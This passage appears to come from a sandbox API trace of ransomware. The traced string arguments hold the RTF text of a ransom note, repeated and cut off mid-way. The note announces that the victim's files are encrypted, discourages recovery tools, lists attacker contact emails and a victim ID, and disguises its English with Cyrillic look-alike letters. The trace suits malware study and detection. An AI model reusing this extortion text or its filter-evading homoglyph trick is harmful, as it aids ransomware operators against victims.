n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 